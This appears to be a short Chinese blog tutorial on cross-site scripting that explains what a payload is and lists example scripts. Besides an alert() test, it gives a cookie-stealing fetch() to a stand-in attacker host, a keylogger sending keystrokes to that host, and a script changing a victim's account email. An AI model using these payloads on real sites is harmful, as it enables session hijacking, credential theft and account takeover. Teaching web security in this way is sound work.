The script in this blog is only Proof of Concept of XSS attacks, won't cause damage to any specific properties! Please use the code in the right place!
1. 什么是有效负载(Payload)?
在跨站脚本(XSS)攻击中,有效负载是指希望在目标计算机上执行的JavaScript代码。有效负载由两个部分组成:意图和修改。
意图是指你希望JavaScript实际执行的操作,而修改则是针对不同场景所需的代码更改。
2. XSS攻击示例 (PoC)
2.1 概念验证:
这是最简单的有效负载,目的是展示可以在网站上实现XSS。通常通过在页面上弹出一个提示框来实现,例如:
html
<script>alert('XSS');</script>
2.2 会话劫持:
用户的会话信息(如登录令牌)通常存储在目标计算机的Cookies中。下面的JavaScript代码获取目标的Cookie,进行Base64编码以确保传输成功,并将其发送到黑客控制的网站记录。一旦黑客获取到这些Cookies,就可以接管目标的会话。
html
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
2.3 键盘记录器:
此代码作为键盘记录器,任何在网页上输入的内容都会被转发到黑客控制的网站。这在网站接受用户登录或信用卡信息时可能造成严重损害。
html
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key));}</script>
2.4 业务逻辑:
这种有效负载比前面的示例更具针对性,涉及调用特定的网络资源或JavaScript函数。例如,一个用于更改用户邮箱地址的JavaScript函数user.changeEmail(),有效负载可能如下:
html
<script>user.changeEmail('attacker@hacker.thm');</script>
攻击者一旦更改了账户的邮箱地址,就可能进行重置密码的攻击。